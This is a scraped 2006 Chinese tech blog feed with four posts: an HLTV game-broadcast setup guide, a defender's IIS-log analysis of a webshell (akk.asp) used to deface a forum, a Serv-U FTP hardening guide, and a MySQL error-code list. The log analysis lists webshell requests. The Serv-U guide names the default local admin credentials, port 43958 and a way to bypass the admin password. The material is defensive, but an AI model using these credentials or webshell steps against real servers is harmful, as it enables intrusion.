以上命令中 <>，()包括的为必填项，[]包括的为可选项，下同。

3、基本HLTV架设
HLTV广播系统的核心是HLTV服务器，也称之为HLTV代理。HLTV在控制台窗口运行，类似于HL的专业服务器。为了转播一台指定服务器上的比赛，HLTV代理像一个普通玩家一样连入这台服务器，然后观察者们连入这台HLTV代理，这样游戏数据流就通过HLTV代理转发到所有的观察者客户端。下面这个图示就是一个基本的HLTV配置：

HL Game Server --> HLTV 代理 -->观察者

HLTV代理可以支持的客户端人数取决于服务器的硬件配置和网络条件，理论上来说，一个单独的HLTV可以支持最多255个观察者，但是请注意，平均每个支持了100个观察者的HLTV代理需要2M的带宽才能流畅收看，如果需要支持更多的观察者，网络负荷必须被分部到多HLTV代理上去。
第一个连接到游戏服务器上的HLTV服务器被称为主服务器，在上面可以进行游戏数据流的延时和发包率等综合广播的设置，其他的HLTV代理连入到这台主服务器上作为接替。这样的连接数量和方式是不受限制的，可以串联也可以并连。重要的是他们不要处于同一个网络中，这样才能确保带宽被均衡使用。

　　　　　　　　　　　　　　　　　　　--> HLTV 转播服务器 1 --> 观察者
　　HL Game Server --> HLTV 主服务器　--> HLTV 转播服务器 2 --> 观察者
　　　　　　　　　　　　　　　　　　　--> HLTV 转播服务器 3 --> 观察者

4、游戏比赛转播
让我们来看一下最普通的设置，一台HLTV代理在局域网环境中。这是最普通的情况，默认的HLTV设置不需要作任何改动。选择一台专用计算机作为里的HLTV代理并且安装Half-Life专业服务器版软件，它包含了所有的HLTV代理文件。这并不需要你的计算机上安装有Half-Life这个游戏。
启动HLTV应用程序(带有小照相机的HL的小图标)就能看到HLTV的控制台窗口，显示了一些初始化信息后(如果初始化进行了很长时间，可能是HLTV不能解析出一些IP地址，那么请在HLTV启动命令行增加 "-nodns"参数来跳过)，控制台就可以接受你的命令了，下面我们用">"来代表命令行提示符，记住你只需要输入">"后面的字符就可以了。首先给你的HLTV代理起一个独特的名字：

>name "My HLTV Proxy"

我们假定你的HLTV Proxy的IP为192.168.0.2，你想观察在192.168.0.3:27015上的游戏，那么键入以下的命令使HLTV代理连入:

>connect 192.168.0.3:27015

过了一会儿HLTV完全连入服务器并且准备提供观察者服务时，用"status"命令可以检查HLTV代理的连接状态：

>status

--- HLTV Status ---
Local IP 192.168.1.2:27020, FPS 72.8, Network In 0.8 Out 0.9
Local Slots 128, Spectators 0, Proxies 0
Source: Server "Half-Life" (192.168.1.3:27015)
Total Slots 128, Spectators 0, Proxies 1
Time 01:02, Game "valve", Map "maps/frenzy.bsp", Players 1

"status"命令可以显示你的IP、每秒刷新的HLTV系统的进出流量、你的HLTV代理提供的观察者数量，这台游戏服务器中所有HLTV广播系统的观察者数量。游戏源可以是游戏服务器，也可以使另一台HLTV代理，甚至一个Demo文件。

5、录制HLTV Demos
HLTV demo文件和普通的Half-Life游戏录像差不多，但是你可以选择任意的视角和视点以及跟随的玩家。回放一个HLTV demo的时候并不需要HLTV服务器，只要启动Half-Life并且在控制台输入" playdemo (demo name)"或者"viewdemo (demoname)"就可以了。录制一个HLTV demo，需要将HLTV代理连入游戏server，并且在控制台输入：

>record (name)

发出这一命令后，所有的游戏数据将被录制下来，demo文件会放在当前的Mod目录下，例如 \cstrike。所有的demo文件将被默认指定为如下格式的文件名：<名称>-<时间>-<地图>.dem，demo文件也记录了一些发往观察者的数据，这意味着，demo文件记录了和观察者同步的游戏信息。

停止录制的命令是"stoprecord"。

有的时候只需要录制HLTV的demo而并不想进行广播的话，可以增加这样一些命令：

>maxclients 0 //不允许观察者客户端
>delay 10 //最低的延迟设置
>rate 10000 //最高的数据速率
>updaterate 20 //基本上行输率
>nomaster 1 //不在master服务器注册

注：//后是命令注释，在平常使用中不需要输入

6、大规模广播
建立一个可以支持大规模观察者(>1000人)的HLTV网络是一个艰难且耗时的工作。下列指导将帮助你配置和运行以这样的一个HLTV网络。一条重要的规则是：“要质量，不是只要数量”。相对于使用所有的带宽来说，建立少一点观察者的选择显然更好，这样所有的观察者都不会为lags和超时所困扰。检查你的带宽容量并且计算出你的HLTV服务器能支持多少观察者，平均每个观察者需要2-3K的流量，CPU和内存在目前流行的PC系统中到是不太会成为性能瓶颈。

这个列表给出大致的Internet连接HLTV所需要带宽：
- ISDN 64Kbps : 2个观察者
- ADSL 512Kbps(上行速率) : 20个观察者
- T1 1.5Mbps : 75个观察者
- LAN 10Mbps : 500个观察者
- T3 75Mbps : 4000个观察者

使用"maxclients"命令可以控制HLTV服务器接受的客户端连入数量，确定"maxrate"参数被设为一个合理的数值，例如:3500 kB/sec。更低的数值也是可能的，但是会造成观察者们产生"choke"。命令"maxrate"并不影响HLTV代理服务器之间的带宽限制，仅对观察者客户端有效。为了降低带宽需求，你可以关闭internet HLTV chat("chatmode 0")或者将游戏的上行速率从默认的20降低到10("updaterate 10")。低一些的上行速率可以节省25%的带宽并且这是可接受的，因为在这时，观察这并不需要和真实玩家相同的上行速率。

一个针对大规模广播非常普遍的设置是使用两台分离的HLTV服务器来创建一个私有段和一个公共段。我们假定游戏服务器在一个封闭的局域网中外网无法到达。这确保了最大的安全无法被外界攻击(例如D.O.S攻击)。HLTV主服务器在局域网中启动，并且它的外网地址保密。第二台拥有真实IP地址的HLTV服务器在局域网外启动并且连入HLTV主服务器。这第二台HLTV服务器是公众HLTV发布机，IP和端口公开给观众们，并且所有的转播服务器都连入这台HLTV发布机。这样HLTV主服务器就在安全的局域网环境下工作，并且可以被用来录制demo或者现场放映机。观察者们连入HLTV发布机或者其他转播服务器。这样所有的网络负载就被均衡到了所有的HLTV代理上。
如图：

　　+---- Private LAN -----+　+------ Public Internet --------+
　　　　　　　　　　　　　　　　　　　　　　　　　-> HLTV Proxy 1
　　HL Server -> HLTV主服务器 ->　HLTV发布服务器　-> HLTV Proxy 2
　　　　　　　　　　　　　　　　　　　　　　　　　-> HLTV Proxy 3

主服务器和发布服务器的配置文件不同：

master.cfg
nomaster 1 //不在WON主服务器上注册
proxypassword MyPWD //保护密码
publicgame 0 //不显示游戏服务器IP
dispatchmode 0 //不分派观察者

dispatcher.cfg
forcemaster 1 //注册到WON主服务器上
publicgame 0 //不显示游戏服务器IP
dispatchmode 2 //分派所有客户端到其他服务器
hostname MyGame //公开的HLTV服务器名称

如果你在运行3个或者更多的HLTV服务器，一个很好的方案是通过服务器管理工具来使用RCON命令管理他们。在HLTV服务器上开启RCON的方法是设置"adminpassword"选项。同时"proxypassword"可以确保只有经过你授权的HLTV提供者才可以连入你的HLTV网络。否则任何人都可以使用缓慢的HLTV代理连入你的网络打乱你的整个网络的负载均衡。

7、HLTV设置

一个简单的的控制台命令语法：命令将被描述为以下形式：

command (parameter) [(parameter)] - description

一条命令或许会有一个或者多个参数。[]中的参数为可选项，一般来说参数包括:

　(string) : 文字，如果文字中包含空格则必须被引号包括例如 "My Name"
　(n) : 任意整数，例如：42
　(f) : 任意浮点数，例如：4.2
　(IP:Port) : IP地址，例如：192.168.0.1:27020
　(a|b|c) : 可选择的选项，或者a或者b或者c

注意；所有的<,>,(,),|,[,]这样的字符是不包含在最终输入在控制台上的命令中的。大多数命令符合布尔代数开关，即1表示打开，0表示关闭。

connect (IP:Port) - 连接HLTV代理到游戏服务器(默认port为27015)
disconnect - 从服务端口断开，但是不停止广播，所有的观察者仍然保持连接状态
stop - 断开连接，同时停止广播
quit - 退出HLTV程序
retry - 重试最后一次服务器连接
autoretry <0|1> - 如果开启，HLTV因为任何理由的断开后将自动重新连接服务器
name (text) - 设置HLTV代理计分版上的名称
hostname (text) - 设置HLTV服务器在服务器列表中的名称
serverpassword (text) - 设置游戏服务器连接密码，连入需要密码的服务器时使用
adminpassword (text) - 设置RCON管理员和评论员密码
proxypassword (text) - 设置其他HLTV连入的密码
spectatorpassword (text) -设置观察者密码，对其他HLTV服务器也有效
clients - 列出已经连接的观察者
proxies - 列出已经连接的其他HLTV服务器
players - 列出游戏服务器中的玩家
kick (ID) - 踢出指定名字的观察者
bann (IP) - 禁止IP连接
say (text) - 向游戏服务器发送文本信息
msg (text) [(duration) (pos x) (pos y) (color hex rgba)] - 向所有的观察者发送大屏幕信息
localmsg (text) [(duration) (pos x) (pos y) (color hex rgba)] -和msg相同，但是只对本服务器上观察者发送
servercmd (string) - 转发命令给游戏服务器
clientcmd (group) (string) - 发送控制台命令给所有指定群组的客户端：1=观察者 2=其他HLTV服务器 3=所有
loopcmd (id) (n) (string) - 这一命令将每(n)秒执行(string)中的命令。(id)取1到64中的数字来认定这条loopcmd，"loopcmd (id) none"

将取消正在循环的命令。loopcmd不带任何参数将列出正在循环的命令。
signoncommands (string) - 本地观察者连接后将被执行的控制台命令，多条命令可以用分号来分隔。
maxclients (n) - 设置本服务器的观察者数量上限(默认为128)
delay (n) - 从主HLTV上接受的游戏数据流延迟时间，默认是30秒来消除作弊的可能，最低为10秒。
rate (n) - 游戏服务器发送到HLTV的带宽速率
updaterate (n) - 从游戏服务器发送到HLTV的游戏上行速率
maxrate (n) - 观察者可用的最大带宽速率
maxqueries (n) - 服务器列表每秒得到的服务器信息数量
dispatchmode (0|1|2) - 模式1(Auto)将会把连接负载自动均衡到其他HLTV服务器，模式2(Always)将会把所有连接转发到其他HLTV服务器，这样本台HLTV服务器就成了转发机，模式0(OFF)将不会转发任何连接。
publicgame <0|1> - 如果public为1，游戏服务器的IP将能被观察者看到，并且可以使用"joingame"命令进入游戏服务器。
offlinetext (string) - 如果HLTV没有继续转播，观察者被拒绝的时候将看到的文字信息。
chatmode <0|1|2> - 如果chatmode为0，观察者不能聊天，如果是1，连入同一台服务器的观察者可以看到彼此之间的信息，如果是2，整个HLTV NET中所有的观察者将能互相聊天。
bannerfile (file) - 指定一个TGA文件作为观察者界面的LOGO。
ping (host:port) - ping一个HL服务器
nomaster <0|1> - 是否在主WON服务器注册
forcemaster <0|1> - 是否强迫在主WON服务器注册
heartbeat - 手动发送状态信息给WON服务器
rcon (string) - 发送远程命令给其他服务器
rconaddress (IP:PORT) - 设定远程控制目标服务器
rconpassword (string) - 验证远程控制目标服务器的密码
cheeringthreshold (f) - number of cheering players must be above this threshold to play the cheering sound (by default 0.25).
blockvoice <0|1> - 是否过滤所有的语音数据。
cmdlist - 列出所有命令
logfile <0|1> - 开启或关闭控制台log文件"logfile(date).log"
status - 显示服务器信息
modules - 显示所有加载的HLTV模块和版本
exec (filename) - 执行一个.cfg文件
echo (string) - 向HLTV控制台先是一条文本
developer <0|1> - 开发者模式将显示更多的除错信息
record (filename) - 录制demo
stoprecord - 停止录制demo
playdemo (filename) - 广播一个demo文件

控制台命令通过按"TAB"可以自动完成，所有的命令都可以放在hltv.cfg文件中，每次启动时自动执行。

一些参数只能在命令行启动
-port (n) - 指定HLTV端口，默认为27020
-ip (IP) - 在有多IP的主机上强制使用某个IP
-comm (filename) - 设置一个master server信息文件取代woncomm.lst
-nodns - 禁用DNS解析
-maxfps (n) - 设置最大系统刷新率，默认为100
-cachesize (n) - 设置帧缓存大小，默认为32
-highpriority - 以高优先权启动HLTV程序(仅在win32系统可用)
-steam - 服务器支持特殊流模式
-dev - 开发者模式

上述参数在运行时不可更改，但是他们可以在config文件中指定。
所有的控制台命令也可在命令行中使用，注意在前面加上"+"
例如：

hltv.exe +connect localhost:27015 -port 27021

Half-Life服务器可以设置sv_proxies (n)来确定允许多少HLTV服务器连入，如果禁止HLTV连入，可以设为0，设为1意味着允许主HLTV连入。

浙江博硕数据 2006-05-14 14:18 发表评论

利用 IIS日志追查网站入侵者

浙江博硕数据 — Sun, 14 May 2006 06:17:00 GMT

浙江博硕数据真诚为您服务 http://www.85bs.com

以前黑站黑了很多，但是就没有想过会不会被追踪到，都没有想过怎么去擦自己的屁股，万万没想到在自己不再黑站的时候，却发现了自己的BBS被黑了。根据当初的判断，BBS程序是我们BCT小组成员编写的Lvbbs不会存在着上传漏洞和SQL注入啊！就算能拿到权限都不可能可以弄出个webshell出来，不是程序的漏洞的话，就一定是服务器的安全问题了，以前整天拿着旁注去黑站，这下子好玩了，竟然被别人拿去黑自己的网站了。所以就硬着头皮去找网管问个究竟，怎么知道网管还说我自己的问题，要我自己去找气死我啊。

　　那只好做一回网管了，如果你是网管你会如何去追查问题的来源了？程序问题就去查看“事件查看器”，如果是IIS问题当然是查看IIS日志了！系统文件夹的system32低下的logfile有所有的IIS日志，用来记录服务器所有访问记录。因为是虚拟主机的用户，所以每个用户都配置独立的IIS日志目录，从里面的日志文件就可以发现入侵者入侵BBS的资料了，所以下载了有关时间段的所有日志下来进行分析，发现了很多我自己都不知道资料！哈哈哈，这下子就知道入侵者是怎么入侵我的BBS了。

　　（入侵日记1）

　　从第一天里日志可以发现入侵者早就已经对我的BBS虎视耽耽的了。而且不止一个入侵者这么简单，还很多啊。头一天的IIS日志就全部都是利用程序扫描后台留下的垃圾数据。

图1

　　看上面的日志可以发现，入侵者61.145.***.***利用程序不断的在扫描后台的页面，似乎想利用后台登陆漏洞从而进入BBS的后台管理版面。很可惜这位入侵者好像真的没有什么思路，麻木的利用程序作为帮助去寻找后台，没有什么作用的入侵手法。

　　（入侵日志2）

　　查看了第二天的日志，开始的时候还是普通的用户访问日志没有什么特别，到了中段的时候问题就找到了，找到了一个利用程序查找指定文件的IIS动作记录。

图2

从上面的资料发现入侵者61.141.***.***也是利用程序去扫描指定的上传页面，从而确定入侵目标是否存在这些页面，然后进行上传漏洞的入侵。还有就是扫描利用动网默认数据库，一些比较常用的木马名称，看来这个入侵者还以为我的BBS是马坊啊，扫描这么多的木马文件能找着就是奇迹啊。继续往下走终于被我发现了，入侵者61.141.***.***在黑了我网站首页之前的动作记录了，首先在Forum的文件夹目录建立了一个Myth.txt文件，然后在Forum的文件夹目录下再生成了一只木马Akk.asp

图3

　　日志的记录下，看到了入侵者利用akk.asp木马的所有操作记录。

　　详细入侵分析如下：

　　GET /forum/akk.asp – 200
　　利用旁注网站的webshell在Forum文件夹下生成akk.asp后门

　　GET /forum/akk.asp d=ls.asp 200
　　入侵者登陆后门

　　GET /forum/akk.asp d=ls.asp&path=/test&oldpath=&attrib= 200
　　进入test文件夹

　　GET /forum/akk.asp d=e.asp&path=/test/1.asp&attrib= 200
　　利用后门在test文件夹修改1.asp的文件

　　GET /forum/akk.asp d=ls.asp 200
　　GET /forum/akk.asp d=ls.asp&path=/lan&oldpath=&attrib= 200
　　进入lan文件夹

　　GET /forum/akk.asp d=e.asp&path=/lan/index.html&attrib= 200
　　利用编辑命令修改lan文件夹内的首页文件

　　GET /forum/akk.asp d=ls.asp 200
　　GET /forum/akk.asp d=ls.asp&path=/forum&oldpath=&attrib= 200
　　进入BBS文件夹（这下子真的进入BBS目录了）

　　POST /forum/akk.asp d=up.asp 200
　　GET /forum/akk.asp d=ls.asp&path=/forum&oldpath=&attrib= 200
　　GET /forum/myth.txt – 200
　　在forum的文件夹内上传myth.txt的文件

　　GET /forum/akk.asp d=ls.asp&path=/forum&oldpath=&attrib= 200
　　GET /forum/akk.asp d=e.asp&path=/forum/myth.txt&op=del&attrib= 200
　　POST /forum/akk.asp d=up.asp 200
　　GET /forum/myth.txt – 200

　　利用后门修改Forum文件夹目录下的myth.txt文件。之后又再利用旁注网站的webshell进行了Ubb.asp的后门建立，利用akk.asp的后门修改了首页，又把首页备份。晕死啊，不明白这位入侵者是怎么一回事，整天换webshell进行利用，还真的摸不透啊。

　　分析日志总结：

　　入侵者是利用工具踩点，首先确定BBS可能存在的漏洞页面，经过测试发现不可以入侵，然后转向服务器的入侵，利用旁注专用的程序或者是特定的程序进行网站入侵，拿到首要的webshell，再进行文件夹的访问从而入侵了我的BBS系统修改了首页，因为是基于我空间的IIS日志进行分析，所以不清楚入侵者是利用哪个网站哪个页面进行入侵的！不过都已经完成的资料收集了，确定了入侵BBS的入侵者IP地址以及使用的木马（xiaolu编写的），还留下了大量入侵记录。整个日志追踪过程就完毕了，本文技术含量不高，只是希望给各位小黑和网管知道入侵和被入侵都有迹可寻。

浙江博硕数据 2006-05-14 14:17 发表评论

SERV-U 6002版安全设置全攻略(2)

浙江博硕数据 — Sun, 14 May 2006 06:16:00 GMT

浙江博硕数据真诚为您服务 http://www.85bs.com

从“终端服务配置文件”选项里取消“允许登录到终端服务器（W）”的选择，然后点击确定继续我们的设置。（见图10）
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/1457359.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/1457359.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

图10：取消“允许登录到终端服务器”

这里我们已经建好了账号，该设置服务里的账号了。现在就要用到刚才建立的这个账号，密码还没有忘记吧，马上就要用到了。
在开始菜单的管理工具里找到“服务”点击打开。在“Serv-U FTP Server服务”上点右键，选择属性继续。
然后点击“登录”进入登录账号选择界面。选择刚才建立的系统账号名，并在下面重复输入2次该账号的密码（就是刚才让你记住的那个），然后点“应用”，再次点确定，完成服务的设置。（见图11）
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/14573510.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/14573510.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

图11：更改启动和登录SRV－U的账号密码
   接下来要先使用FTP管理工具建立一个域，再建立一个账号，建好后选择保存在注册表。（见图12）
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/14573511.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/14573511.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
图12：FTP用户密码保存到注册表里
   打开注册表来测试相应的权限，否则SERV－U是没办法启动的。在开始－＞运行里输入regedt32点“确定”继续。
   找到[HKEY_LOCAL_MACHINE/SOFTWARE/Cat Soft]分支。在上面点右键，选择权限，然后点高级，取消允许父项的继承权限传播到该对象和所有子对象，包括那些在此明确定义的项目，点击“应用”继续，接着删除所有的账号。再次点击“确定”按钮继续。这时会弹出对话框显示“您拒绝了所有用户访问Cat Soft。没有人能访问 Cat Soft，而且只有所有者才能更改权限。您要继续吗？”，点击“是”继续。接着点击添加按钮增加我们建立的SSERVU账号到该子键的权限列表里，并给予完全控制权限。到这里注册表已经设置完了。但还不能重新启动SERV－U，因为安装目录还没设置。
   现在就来设置一下，只保留你的管理账号和SSERVU账号，并给予除了完全控制外的所有权限。（见图13）
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/14573512.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/14573512.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
图13：SERV－U安装目录权限设置
现在，在服务里重启Serv-U FTP Server服务就可以正常启动了。当然，到这里还没有完全设置完，你的FTP用户因为没有权限还是登录不了的，所以还要设置一下目录的权限。
   假设你有一个WEB目录，路径是d:/web。那么在这个目录的“安全设定”里除了管理员和IIS用户都删除掉，再加入SSERVU账号，切记SYSTEM账号也删除掉。为什么要这样设置呢？因为现在已经是用SSERVU账号启动的SERV－U，而不是用SYSTEM权限启动的了，所以访问目录不再是用SYSTEM而是用SSERVU，此时SYSTEM已经没有用了，这样就算真的溢出也不可能得到SYSTEM权限。另外，WEB目录所在盘的根目录还要设置允许SSERV－U账号的浏览和读取权限，并确认在高级里设置只有该文件夹。（见图14）
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/14573513.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/14573513.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
图14：WEB目录所在盘的权限设置
至此，设置全部结束。现在的SERV－U设置是配合IIS设置的，因为和IIS使用不同的账号，WEB用户就不可能访问SERV－U的目录，并且WEB目录没有给予SYSTEM权限，所以SYSTEM账号也同样访问不了WEB目录，也就是说，即使使用MSSQL得到备份的权限也不能备份SHELL到你的WEB目录。你可以安全的使用SERV－U了。

浙江博硕数据 2006-05-14 14:16 发表评论

SERV-U 6002版安全设置全攻略(1)

浙江博硕数据 — Sun, 14 May 2006 06:15:00 GMT

浙江博硕数据真诚为您服务 http://www.85bs.com

     作为一款精典的FTP服务器软件，SERV－U一直被大部分管理员所使用，它简单的安装和配置以及强大的管理功能的人性化也一直被管理员们称颂。但是随着使用者越来越多，该软件的安全问题也逐渐显露出来。
      首先是SERV-U的SITE CHMOD漏洞和Serv-U MDTM漏洞，即利用一个账号可以轻易的得到SYSTEM权限。其次是Serv-u的本地溢出漏洞，即Serv-U有一个默认的管理用户（用户名：localadministrator，密码：#|@$ak#.|k;0@p），任何人只要通过一个能访问本地端口43958的账号就可以随意增删账号和执行任意内部和外部命令。
     此时，人们才开始重视起SERV－U的安全来，并采取了一些相关措施，如修改SERV－U的管理端口、账号和密码等。但是，修改后的内容还是保留在ServUDaemon.exe文件里，因此下载后用如UltraEdit之类的16进制编辑软件就可以很轻易的获取到修改后的端口、账号和密码。
     从SERV－U6.0.0.2开始，该软件有了登录密码功能，这样如果加了管理密码，并且设置比较妥善的话，SERV－U将会比原来安全的多。现在我们就开始SERV－U的设置之旅，采用版本是SERV－U 6.0.0.2。
     古语有云，千尺之台始于垒土，设置SERV－U的安全就从安装开始。这篇文章主要是写SERV－U的安全设置，所以不会花费太多的功夫来介绍安装，只说一下要点。
        SERV－U默认是安装在C:/Program Files/Serv-U目录下的，我们最好做一下变动。例如改为：D:/u89327850mx8utu432X$UY32x211936890co7v23x1t3（图1）这样的路径，如果安装盘符WEB用户不能浏览的话，他便很难猜到安装的路径。当然，安装后会在桌面和开始菜单上生成快捷方式，建议删除，因为一般不会使用到它。可能你要问了，那应该怎样进入SERV－U的设置界面呢？其实很简单，双击下右角任务栏里的Tray Monitor小图标来启动SERV－U的管理界面。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/1457350.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/1457350.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
                              图1：修改安装的目录
   安装的时候只选前2项就可以了，后面的2个是说明和在线帮助文件。(见图2)
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/1457351.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/1457351.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

图2：安装时候只需要选择前2项
下图是生成的开始菜单组里的文件夹的名字，建议更改成比较不像SERV－U的名字，或者是删除该文件夹。(见图3)
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/1457352.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/1457352.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

图3：更改安装后生成开始菜单组里文件夹的名字
安装完成后会出现一个向导让你建立一个域和账号。在这里点Cancel取消向导。用向导生成的账号会带来一些问题，所以下面采用手工方式建立域和账号。(见图4)
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/1457353.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/1457353.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
图4：点Cancel取消向导
然后点选Start automatically(system service)前面的选项，接着点下边的Start Server按钮把SERV－U加入系统服务，这样就可以随系统启动了，不用每次都手工启动。(见图5)
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/1457354.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/1457354.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
图5：把SERV－U加入服务
   接下来就会出现如图6的界面。通过点击Set/Change Password设置一个密码。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/1457355.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/1457355.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
图6：点击Set/Change Password设置密码
   然后会出现如图7的界面。因为是第一次使用，所以是没有密码的，也就是说原来的密码为空。不用在old password里输入字符，直接在下面的New password和Repeat new password里输入同样的密码再点OK就可以了。这里建议设置一个足够复杂的密码，以防止别人暴力破解。自己记不得也没有关系，只要把ServUDaemon.ini里的LocalSetupPassword=这一行清除并保存，再次运行ServUAdmin.exe就不会提示你输入密码登录了。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/1457356.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/1457356.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
图7：设置和更改密码界面
   下面就到了该对SERV－U进行安全设置的时候了。首先建立一个WINDOWS账号SSERVU，密码也需要足够的复杂。密码要记住，如果记不住就暂时保存在一个文件里，一会儿还要用到。(见图8)
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/1457357.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/1457357.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
图8：建立一个WINDOWS账号
      建好账号以后，双击建好的用户编辑用户属性，从“隶属于”里删除USERS组。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('/ddimg/uploadimg/20060430/1457358.jpg');}" src="http://www.souzz.net/ddimg/uploadimg/20060430/1457358.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
图9：从隶属于里删除USERS组

浙江博硕数据 2006-05-14 14:15 发表评论

mysql出错代码列表

浙江博硕数据 — Sun, 14 May 2006 06:12:00 GMT

浙江博硕数据真诚为您服务 http://www.85bs.com

1005：创建表失败

1006：创建数据库失败

1007：数据库已存在，创建数据库失败

1008：数据库不存在，删除数据库失败

1009：不能删除数据库文件导致删除数据库失败

1010：不能删除数据目录导致删除数据库失败

1011：删除数据库文件失败

1012：不能读取系统表中的记录

1020：记录已被其他用户修改

1021：硬盘剩余空间不足，请加大硬盘可用空间

1022：关键字重复，更改记录失败

1023：关闭时发生错误

1024：读文件错误

1025：更改名字时发生错误

1026：写文件错误

1032：记录不存在

1036：数据表是只读的，不能对它进行修改

1037：系统内存不足，请重启数据库或重启服务器

1038：用于排序的内存不足，请增大排序缓冲区

1040：已到达数据库的最大连接数，请加大数据库可用连接数

1041：系统内存不足

1042：无效的主机名

1043：无效连接

1044：当前用户没有访问数据库的权限

1045：不能连接数据库，用户名或密码错误

1048：字段不能为空

1049：数据库不存在

1050：数据表已存在

